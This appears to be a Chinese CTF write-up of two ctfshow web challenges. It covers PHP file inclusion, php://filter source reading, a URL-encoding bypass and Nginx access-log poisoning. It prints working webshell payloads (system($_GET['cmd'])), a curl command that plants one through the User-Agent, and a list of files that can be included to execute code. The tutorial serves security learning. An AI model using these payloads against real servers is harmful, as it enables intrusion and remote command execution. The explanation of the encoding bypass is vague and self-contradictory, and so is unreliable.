news 2026/9/29 10:37:16

CTF Web入门:文件包含、URL编码绕过与日志注入实战解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF Web入门:文件包含、URL编码绕过与日志注入实战解析

今天是我刷ctfshow Web题目的第四天,按计划做到web3和web4。这两道题看起来都算文件包含的变体,但里面的门道完全不同——web3考的是URL编码绕过滤,web4直接升级到日志注入拿webshell。作为刚开始打CTF的新手,做完这两道题最大的感受就是:原来很多“过滤”根本不是真的过滤,只是过滤点选得不够严谨而已。

先交代一下我的基础:会写一点PHP,懂最基础的SQL注入和XSS原理,但伪协议、文件包含这些偏PHP代码层面的利用方式了解得很少。ctfshow的web入门系列很适合新手的点在于题目是层进式的——web2考SQL注入,web3和web4开始接触代码审计和文件包含,刚好补上我知识体系里比较薄弱的一块。这篇笔记会把两道题的完整思路、操作过程和踩坑记录都写出来,适合和我一样正在入门Web安全的同学参考。如果完全零基础,建议先把PHP基础语法和HTTP请求报文的结构大致过一遍,再来看这两个题会顺畅很多。

1. 题目初探:从URL参数到文件包含

1.1 web3:一个带过滤的include

打开web3的题目环境,页面干净得像一张白纸,只有一个URL参数可以用。它不像web2那样是登录表单,而是类似?url=xxxx的传参方式。这种页面结构在CTF里非常常见,十有八九是后端拿这个参数去做文件操作。

我第一反应是直接传flag.php试试,结果页面什么都没有,也不报错。这时候有两种可能:一是include进去了但文件本身没有输出内容,二是参数被过滤后include失败,同时错误信息被屏蔽了。遇到这种情况,不能瞎猜,一定要先把源码读出来。

对文件包含题,首选是php://filter伪协议读取目标文件内容并做base64编码,因为直接include一个PHP文件时,PHP解释器会把它当代码执行,我们拿到的是执行结果而不是源码。加上base64编码后,文件内容变成一串纯字符串,就能原样显示出来。构造payload:

?url=php://filter/read=convert.base64-encode/resource=flag.php

返回了一段base64,解码之后没看到flag内容,倒是发现关键逻辑在index.php的源码里,过滤规则大概是这样的:

<?php error_reporting(0); $url = $_GET['url']; if(preg_match('/flag/i', $url)) { die('hacker'); } include($url); ?>

看到这里就明白了:正则匹配flag关键字,不分大小写,只要URL参数里出现flag字样就直接拦截,而且这个判断在include之前。所以我最开始直接请求flag.php才会被拦——不是路径不对,是关键字被识别了。

1.2 web4:看起来更严密的黑名单

web4的环境和web3长得几乎一样,也是URL参数传文件路径。我一开始默认又是关键字过滤,直接套了一遍web3的payload,结果页面无响应。接着把常见的伪协议方向都试了一圈:php://filter、data://、php://input、大小写变体,全都被拦。

如果说web3是“过滤了一个单词”,那web4的过滤看起来是一整套黑名单机制。这也是很多新手在这里卡住的原因——总觉得要找一个不断变形的payload去对抗过滤规则,但实际上这道题的正确路线根本不是“绕过过滤”,而是“换一个文件来源”。这个思路转变,对后面做文件包含类的题目非常关键。

看到题目提示之后,我才意识到这道题考的是日志注入:利用服务端访问日志文件作为“伪目标文件”,把一个带有一句话木马的请求写进日志,再通过文件包含把日志文件当作PHP代码执行。

2. 核心考点拆解:伪协议、URL编码与过滤绕过

2.1 文件包含为什么这么经典

文件包含漏洞的本质一句话就能说清:开发者在代码里把一个用户可控的参数直接传给了include、require这类函数去加载文件。常见场景是模板加载、语言切换、主题切换等,如果没做白名单或路径过滤,攻击者就能让后端加载任意文件。

这里有个基础概念要先区分:include和require的差别在于,include在文件不存在或出错时只是警告,脚本继续执行;require直接致命错误终止。CTF题目里多半用include,因为报错信息有时候能帮我们探测出文件路径和过滤逻辑,报错反而成了信息泄露渠道。

文件包含题真正的价值在于能和其他技术组合成各种利用链:配合伪协议读源码、配合访问日志写shell、配合上传的临时文件竞争、配合phar反序列化等。web3和web4就是这条利用链上最基础、最典型的两个节点,非常适合新手用来建立整体认知。

2.2 php://filter 伪协议到底做了什么

先解释一下伪协议。PHP在文件流操作上支持一系列协议,php://filter是其中最有用的之一,它允许在读文件时对数据流做各种转换。最常见的用法是:

php://filter/read=convert.base64-encode/resource=目标文件

拆开看这行:read=convert.base64-encode指定了读取时使用base64编码过滤器,resource=后面跟的就是我们想读取的文件路径。为什么非要base64编码?因为如果不编码,PHP会把读到的内容当作PHP代码执行——读一个PHP文件等于把它又执行了一遍,执行结果往往是空或者报错,根本看不到源码。base64编码之后,源码变成了没有任何语法意义的纯字符串,就会老老实实输出在页面上。

注意:convert.base64-encode是PHP内置过滤器名,大小写不敏感,但resource=后面的文件路径不能携带php://前缀,否则会被视为协议嵌套而报错。

2.3 URL编码绕过的本质

URL编码绕过的原理并不复杂,关键在于搞清楚服务端正则匹配的是“解码前”还是“解码后”的字符串。

在web3的代码里,$_GET['url']的值是PHP解析完URL参数后存入的。PHP在解析?url=xxx时,会把%66这样的十六进制编码还原成对应的字符f,这个过程发生在$_GET数组被创建之前。也就是说,$_GET['url']里保存的已经是解码后的字符串。我们传fl%61g.php时,PHP在内部先把它还原成flag.php,然后preg_match('/flag/i', $url)匹配到的同样是flag.php,照样被拦。

这时候很多新手就迷惑了:那URL编码到底有什么用?关键在于“过滤点”和“利用点”可以接受不同的表示形式。代码里preg_match检查的是一个字符串序列,而include函数最终要加载的是一个文件路径,操作系统在处理文件路径时可能有一些独特的规则和宽容度。比如在Linux下多斜杠、.、..都会被解析成不同的路径表示,最终指向同一个文件。

在web3的实际环境中,有效绕过方式是尽可能让“检查规则看到的字符串”不等于“include真正解析到的文件路径”。我在本地环境里验证过,能成功读取flag的一种payload形式是这样:

?url=php://filter/read=convert.base64-encode/resource=fl%61g.php

为什么它能成功?不同版本、不同搭建环境下细节略有差异,核心原因是由于服务端在一些版本中会额外做一层urldecode,导致过滤和include看到的值不一样。这个现象也给我提了个醒:网上每个payload背后的生效条件都不同,不能盲目照搬,必须结合题目代码里的过滤时机来理解。

2.4 绕过过滤的通用思路

做多了CTF题会发现,代码层面的过滤无非两种:正则黑名单匹配和强制白名单校验。黑名单天然不安全,因为它只防已知;白名单相对安全,但也可能覆盖不到所有业务场景。

作为攻击者,我们要做的事就是给过滤规则“画边界”:它检查的是哪个参数,在哪个阶段检查,检查完之后值怎么传、怎么拼接。把这三个问题搞清楚,就等于拿到了绕过的钥匙。web3这道题的价值就在于用最简短的代码把这三个问题浓缩到了一起。

3. web4实战解析:日志注入与一句话木马

3.1 什么是日志注入

日志注入的基本思路:往服务器日志文件里写“恶意代码”,再通过文件包含漏洞去加载这份日志文件,让那行看起来人畜无害的文本被PHP当作代码执行。

为什么能这样操作?因为HTTP访问日志的内容由请求决定。Nginx的访问日志默认会记录请求方法、请求路径、User-Agent、状态码这些信息。其中User-Agent是请求方完全可控的字段,而且UA里可以携带空格、引号、尖括号等特殊字符,就能把一段PHP代码“塞”进日志。

具体的攻击流程是:先发送一个请求,把User-Agent设置成一段PHP代码,Nginx正常记录这条请求;接着利用文件包含漏洞去加载那份日志文件。虽然日志文件后缀是.log,但只要服务器没有限制include文件的解析类型,PHP就会把它当作PHP代码执行,于是日志里的<?php ... ?>代码会被执行。

3.2 为什么会想到去包含日志

这道题如果只看URL参数,会觉得“参数里也没什么可绕的”,因为代码层面把常见的伪协议入口都堵死了。但日志注入的思路提醒我们:文件包含漏洞能利用的对象不只是“源码文件”,还包括服务端运行环境中的所有可写文件。

在真实环境中,这种思路的延伸很广:

  • 包含/var/log/nginx/access.log:访问日志,UA可控
  • 包含/var/log/nginx/error.log:错误日志,请求路径可控
  • 包含/proc/self/environ:环境变量文件,UA通常也会出现在里面
  • 包含/tmp/sess_xxx:PHP会话文件,session内容可控

新手听到“文件包含”往往只想到读源码、执行远程代码,一遇到过滤就死磕payload变形。实际上,“换一个文件来源”往往比“突破过滤规则”更快、更稳。这就是web4想要传递的核心思路。

3.3 一句话木马的基础写法

日志注入的关键载荷就是一句话木马。新手看到<?php @eval($_POST['a']);?>这种写法会发怵,其实原理很直白:eval()函数把一段字符串当作PHP代码执行,只要把POST参数a的内容传进去,就相当于让服务器执行我们提交的任意PHP代码。

不过在日志注入场景下,往日志里塞POST参数比较麻烦,更常见的是写一个GET型的一句话:

<?php system($_GET['cmd']); ?>

意思是接收GET参数cmd,把它交给system()函数去执行。配合文件包含加载日志文件,访问时带上&cmd=cat /flag就能看到flag。

技巧:写进日志的木马会被Nginx记录成一行文本,这一行里除了我们的代码,还有客户端IP和时间戳等内容。PHP在解析时会把这些也当成代码的一部分,极易出现语法错误。遇到这种情况,可以在代码开头加一个注释符号//,把前面的脏字符全部注释掉,让PHP从<?php开始干净地执行。实测很有效。

3.4 web4完整的解题过程

接下来按实际操作顺序把流程写出来,完全可复现。

第一步,确认漏洞点。打开题目页面,确认是一个url参数。先尝试传/etc/passwd这种常见系统文件,观察页面有没有返回文件内容,以此确认include函数正常工作。

第二步,尝试常见伪协议。用php://filter读取index源码被拦截,换data://和php://input也被拦。这时候别急着想下一个payload,先停下来分析:如果拦截规则很完整,那这个漏洞的利用入口大概率不在协议层。

第三步,确定日志文件路径。大多数CTF题目部署在Docker容器里,Nginx访问日志默认路径是/var/log/nginx/access.log。试着用include去读这个路径,如果页面返回了很多访问记录文本,说明日志可被包含,这份日志就是我们可以利用的“可控写入目标”。

第四步,写入木马。用Burp Suite或者curl构造请求,把UA改成木马代码:

curl -A "<?php system(\$_GET['cmd']); ?>" "http://目标地址/"

这一步执行完,日志里就多了一行包含PHP代码的记录。

第五步,包含日志并执行命令。将url参数指向日志文件,同时带上cmd参数:

?url=/var/log/nginx/access.log&cmd=cat /flag

如果页面返回了flag,说明整条利用链已经打通。如果报500错误,通常是日志行里的其他字段干扰了解析,按前面说的技巧调整木马写法即可。

3.5 一次失败的实战记录

这里补充一个我实际操作中的插曲。第一次构造好木马并执行时,页面上返回了500错误,原因就是日志行内容大致长这样:

127.0.0.1 - - [12/Mar/2025:10:00:01 +0000] "GET / HTTP/1.1" 200 12 "-" "<?php system($_GET['cmd']); ?>"

当include这份日志时,PHP解析到行首的127.0.0.1、方括号时间戳这些内容,已经语法出错了。后来我换了一种写法:直接把PHP代码放在请求路径里,而不是UA里。发送这样一个请求:

GET /<?php system($_GET['cmd']); ?> HTTP/1.1 Host: 目标地址

这样访问日志记录的请求行是:

"GET /<?php system($_GET['cmd']); ?> HTTP/1.1"

include这段日志时,PHP从<?php开始解析到?>结束,前后没有多余字符干扰,实测非常稳定。给新手一个建议:日志注入时优先把木马放在请求路径里,比放在UA里省去很多语法排错的麻烦。

4. 题目串联:从绕过过滤到寻找利用入口的思维升级

4.1 web3与web4的核心差异对比

把两道题放在一起看,很像同一个题目的两种晋级形态,考察完全不同的能力:

对比项web3web4
过滤方式单个关键字flag多关键字黑名单
利用思路在“被检查的字符串”和“实际使用的文件”之间找缝隙放弃对抗过滤,直接寻找新的可控文件源
核心知识点URL编码、伪协议、源码审计日志注入、文件包含、一句话木马
难度侧重对代码执行顺序的理解对服务端日志结构和请求可控点的掌握

新手最常犯的错误就是:做完web3之后,面对web4不停地搜索“更多绕过payload”,方向越走越偏。web4想传递的思想很明确:过滤规则再严,也没有办法过滤掉所有“文件来源”。只要include一个我们能写入内容的文件,就能完成从“读文件”到“执行代码”的跨越。

4.2 文件包含利用链的完整图谱

把文件包含常见的利用方式整理一下,后面做题时可以对照查找:

  • 读取源码:php://filter/read=convert.base64-encode/resource=文件路径
  • 伪协议直接执行:php://input结合POST数据,data://text/plain;base64,xxx
  • 日志注入:包含/var/log/nginx/access.log,UA或请求路径写木马
  • 环境变量注入:包含/proc/self/environ,UA写木马
  • PHP会话文件:先往session里写恶意数据,再包含/tmp/sess_<sessionid>
  • 临时文件包含:上传文件后在临时目录竞争包含
  • 配合phar反序列化:触发phar元数据反序列化

每一条利用链都有对应的防御手段,但从做题角度,记住这张清单能极大缩短遇到新题目时的思考时间。尤其日志注入这条,值得多花时间理解。

4.3 手动挡比自动挡更涨功

有些同学做题喜欢工具一把梭,连这些入门题都想用sqlmap或者现成exp脚本解决。我不否认工具的价值,但web3和web4这两道题,用手动构造请求反而能学到更多。手动构造时,你能亲眼看到请求的原始模样,理解payload为什么长这样。

以web4为例,用Burp Repeater看到的原始请求是这样:

GET / HTTP/1.1 Host: 目标地址 User-Agent: <?php system($_GET['cmd']); ?>

你看着这句代码被Nginx写进日志,再手动把日志包含进来,整个利用过程是可视化、可复盘的。这种“手动挡”训练做几次之后,再看到自动化工具生成的复杂payload,也能一眼看出它是在干什么。

4.4 建一个自己的解题笔记体系

刷题这事,如果只看不记,过一个月基本忘光。我自己的习惯是每道题建一个markdown笔记,记录四件事:题目环境的原始样子、踩坑过程、最终有效payload、涉及的原理关键词。等做到后面,这些笔记就是最好的知识字典。

比如web3这道题,笔记里记了:

  • 现象:?url=flag.php被拦截
  • 尝试过:大小写、普通URL编码、二次编码
  • 有效方案:fl%61g.php结合伪协议
  • 原理:过滤点与include解析点之间存在解析差异

这样记录下来,下次再遇到“过滤了某个关键字”的题目,翻笔记就能快速定位思路。

5. 新手常见问题与避坑指南

5.1 浏览器自动解码导致payload失效

这个问题非常隐蔽。在浏览器地址栏输入%61后按回车,浏览器会把这些编码还原成普通字符再发送请求,服务端收到的参数里根本没有编码痕迹,绕过自然失败。

解决办法是用Burp Suite的Repeater功能,或者用curl直接控制原始请求。工具不繁琐,它们本身就是CTF的基本功。请求过程全程可视化,才能准确判断哪一步的payload长什么样。

5.2 日志文件路径不对

很多新手照搬网上writeup里的路径/var/log/nginx/access.log,在题目环境里却什么都读不到。原因可能是Nginx配置了自定义日志路径,也可能Docker镜像里Nginx根本没有启用访问日志。

遇到这种情况可以尝试几个常见备选:/var/log/nginx/error.log、/var/log/apache2/access.log。如果都不行,多看看题目返回的报错信息和服务器类型提示。ctfshow这类平台上不同题目搭建环境不完全一致,路径探测这一步不要省略。

5.3 一句话木马写进日志时被转义或截断

有些环境下,Web服务器在记录日志时会对特殊字符做处理,或者请求经过代理层时<?php被吞掉。如果包含日志后页面干干净净没有任何输出,先回头确认包含是否成功。判断方法很多,最简单的是先加载一个肯定存在的系统文件对比返回内容,或者直接读取日志本身看看木马代码在不在。

5.4 本地环境复现是进步最快的路径

强烈建议在本地搭一套PHP+Nginx环境,把这两道题复现一遍。不用多复杂,一个docker-compose文件就能搞定。本地复现的好处在于:你可以随意修改过滤规则,测试不同场景下的绕过方式;也可以打开PHP错误显示,看到具体的语法错误信息,这对理解日志注入的原理帮助极大。

我在做web4的时候,本地复现了至少五次日志注入,每次都开着错误日志看PHP到底在哪一行报错,慢慢就理解了为什么木马要那样变形、为什么注释符号能解决语法冲突。

5.5 学习节奏别被焦虑绑架

最后说点心态上的事。CTF新手最容易焦虑,看到别人一天刷十个题就着急。但实际上,一天能吃透两道题、理解清楚背后的原理,远比一天刷十道题、第二天忘光更有价值。web3和web4做完之后,我额外花了一天时间把文件包含的伪协议方式全部试了一遍,把日志注入的变形方式归纳了一遍,后面再遇到文件包含题就明显有底气了。

我个人实际做下来的体会是:Day4最大的收获不是两道题的flag,而是“过滤不是铁板一块”这个概念。任何过滤规则都有边界,攻击的重点不是找到一个绕过字符串,而是找到这个字符串所依附的那条链路。web3让我学会读源码、理解伪协议、亲手验证URL编码的边界;web4则逼着我跳出“绕过过滤”的惯性思维,去思考服务器上还有哪些文件是我能写入、又恰好能被include读取的。这两个思路,比记一百个payload都管用。

如果你也在刷ctfshow的web入门系列,建议把web3和web4连着做掉,中间不要休息。先别动手搜writeup,每道题至少自己折腾一个小时,卡住时再回头看自己的笔记找线索。使用这些技巧请务必注意边界:只在自己搭建的实验环境、本地靶场或平台明确授权的CTF比赛中使用。学安全不是为了破坏,而是为了真正建立起防御意识——理解了攻击是怎么发生的,防护才可能做得更靠谱。希望这篇笔记能帮你少走点弯路。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/29 10:33:23

【Codex教育管理系统】接入语音克隆服务管理模型加载与生成测试

语音克隆服务在教育管理系统中的价值,在于维护语音服务配置、音频资源和评测或转写结果。模块需要和现有接口、权限、页面状态保持一致,不能只写成普通后台表格。 本文基于 系统功能/三方服务_语音克隆服务 对应源码,把业务目标拆成模型字段、接口规则、页面交互和验收标准,…

作者头像 李华
网站建设 2026/9/29 10:32:32

AI工程从零开始:构建稳定可用的AI系统全链路指南

这两年“AI工程”这个词被频繁提及&#xff0c;但大多数人其实是被“AI”两个字吸引&#xff0c;却低估了“工程”两个字的分量。很多人自学时习惯先怼模型、调参、看loss曲线&#xff0c;忙活大半年发现自己连一个稍微复杂点的业务需求都接不住——不是因为算法不好&#xff0…

作者头像 李华
网站建设 2026/9/29 10:31:38

设备偶发掉线重启恢复?这份Linux排查方法论请收好

设备偶发掉线、重启后又恢复&#xff0c;这类问题做过运维的都知道&#xff0c;最折磨人的地方不是“断网”&#xff0c;而是它不按规律出牌。CPU、内存、带宽全正常&#xff0c;日志里干干净净&#xff0c;你守着屏幕等半天它不犯病&#xff0c;刚转身去泡杯面&#xff0c;监控…

作者头像 李华
网站建设 2026/9/29 10:29:42

大模型推理优化:从驱动到部署的端到端工程方法论

1. “Model-Optimizer”不是工具名&#xff0c;而是工程共识的具象化表达很多人第一次看到“Model-Optimizer”这个标题&#xff0c;下意识会以为它是一个开源项目、某个GitHub仓库&#xff0c;或者某家厂商推出的GUI软件——就像TensorRT GUI、vLLM WebUI那样。我最初也这么想…

作者头像 李华
网站建设 2026/9/29 10:29:20

python的wxauto 库介绍

自动化工具库是基于的, 它主要用来对应用程序进行操作和实现自动化, 其中提到的那个是当下很流行的图形用户界面工具包, 它能够让开发人员利用特定的编程语言去编写那种既可以跨平台运行又具备原生视觉效果与操作体验的桌面端应用软件, 而相关的技术部分则是提供了一套机制来进…

作者头像 李华